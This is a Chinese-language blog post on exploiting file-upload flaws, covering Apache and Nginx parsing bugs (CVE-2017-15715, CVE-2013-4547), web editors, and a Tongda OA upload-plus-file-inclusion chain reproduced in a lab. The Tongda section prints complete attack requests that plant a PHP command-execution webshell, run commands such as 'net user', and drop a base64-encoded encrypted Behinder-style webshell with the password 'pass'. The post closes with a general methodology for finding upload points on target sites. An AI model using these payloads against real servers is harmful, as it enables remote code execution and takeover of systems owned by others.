檔案上傳之解析漏洞編輯器安全

朝朝_暮暮發表於2021-08-10

中介軟體解析漏洞演示

1. 低版本apache解析漏洞

原理:
在低版本的apache中,若檔案字尾x.php.xxx.yyy,在伺服器中若此檔案.yyy字尾不被解析,則依次向前解析,成功為止。
利用場景:
若探測到伺服器中介軟體apache為較低版本的話,我們利用檔案上傳,上傳一個不被識別的檔案後置,利用解漏洞規則成功解析該檔案,檔案中的後門程式碼就會被觸發。
簡單演示:
準備兩個後門檔案,一個正常php字尾,一個php.xxx字尾
image
成功解析:
image

2. Apache HTTPD 換行解析漏洞(CVE-2017-15715)

漏洞原理

Apache HTTPD是一款HTTP伺服器,它可以通過mod_php來執行PHP網頁。其2.4.0~2.4.29版本中存在一個解析漏洞,在解析PHP時,1.php\x0A將被按照PHP字尾進行解析,導致繞過一些伺服器的安全策略。

漏洞復現

開啟靶場環境:

docker-compose build
docker-compose up -d

啟動後訪問8080埠:
image
上傳php檔案並抓包:
image
被攔截了
在1.php後面插入一個\x0A,(注意,不能是\x0D\x0A,只能是一個\x0A),不再被攔截:
image
訪問剛才上傳的/1.php%0a,發現能夠成功解析,但這個檔案不是php字尾,說明目標存在解析漏洞:
image

3. Nginx 檔名邏輯漏洞(CVE-2013-4547)

影響版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞原理

這個漏洞其實和程式碼執行沒有太大關係,其主要原因是錯誤地解析了請求的URI,錯誤地獲取到使用者請求的檔名,導致出現許可權繞過、程式碼執行的連帶影響。
我們只需要上傳一個空格結尾的檔案,即可使PHP解析之。

漏洞復現

啟動靶場環境:

docker-compose up -d

啟動後訪問8080埠可看到一個上傳介面
image
這個環境是黑名單驗證,我們無法上傳php字尾的檔案,需要利用CVE-2013-4547。我們上傳一個“shell.gif ”,注意後面的空格:
image
訪問http://your-ip:8080/uploadfiles/shell.gif[0x20][0x00].php,即可發現PHP已被解析:
image

常見web編輯器簡要分析

思路說明

有的網站中可能嵌入第三方web編輯軟體比如:fckeditor、ewebeditor、ckeditor、kineditor等。
一些網站也可通過掃描獲得編輯器資訊,在其它地方不能突破時可以利用編輯器的漏洞進行getsell,可以在網上搜尋相關編輯器漏洞利用即可。

CMS檔案上傳漏洞演示

通達OA辦公系統

下載地址:
連結:https://pan.baidu.com/s/1vQ7-Yri0vXofjb8NqKBSFQ
提取碼:qwer
下載後安裝即可。
image
預設使用者admin密碼為空。

漏洞分析

該漏洞在繞過身份驗證的情況下通過檔案上傳漏洞上傳惡意php檔案,組合檔案包含漏洞最終造成遠端程式碼執行漏洞,從而導致可以控制伺服器system許可權。

漏洞復現

1. 任意命令執行漏洞

路徑為:ispirit/im/upload.php
抓包構造POC:

POST /ispirit/im/upload.php HTTP/1.1
Host: localhost:999
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 660

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

傳送POC:
image
檢視上傳成功的檔案:
image
前臺檔案包含漏洞:修改資料包,包含前面上傳的jpg木馬檔案,即可實現執行任意命令。此處執行命令“net user”

POST /ispirit/interface/gateway.php HTTP/1.1
Host: localhost:999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

json={"url":"/general/../../attach/im/2108/1005943624.jpg"}&cmd=net user

image
執行命令“ipconfig”:
image

2.getshell

前臺任意檔案上傳漏洞:抓取任意資料包,修改資料包進行重放,上傳字尾為jpg的木馬檔案(木馬檔案執行寫入檔案操作)

Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 1398

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$fp = fopen('shell.php', 'w');
$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC  ÿ
4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);
fclose($fp);
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

image
檢視生成的圖片:
image
前臺檔案包含漏洞:修改資料包,包含前面上傳的jpg木馬檔案,會在/webroot/ispirit/interface/目錄下生成一個 shell.php 檔案。
成功執行:
image
檢視/webroot/ispirit/interface/目錄生成的shell檔案:
image
用冰蠍連線,/ispirit/interface/shell.php用冰蠍連線,http://localhost:999/ispirit/interface/shell.php
密碼為:pass
image

檔案上傳漏洞總結

檔案上傳漏洞大致思路

當我們拿到一個網站可通過掃描或手動查詢是否有檔案上傳的地方,比如會員中心等地方。
也可通過資料包或指紋識別是何種中介軟體,如是低版本可以利用一些解析漏洞上傳檔案,進行黑白名單繞過測試。
再者知道是何種CMS的話可以利用CMS的漏洞。
一些網站使用第三方的編輯器,可以尋找編輯器的漏洞進行突破。
再者也可以找一些CVE編號漏洞進行利用。

相關文章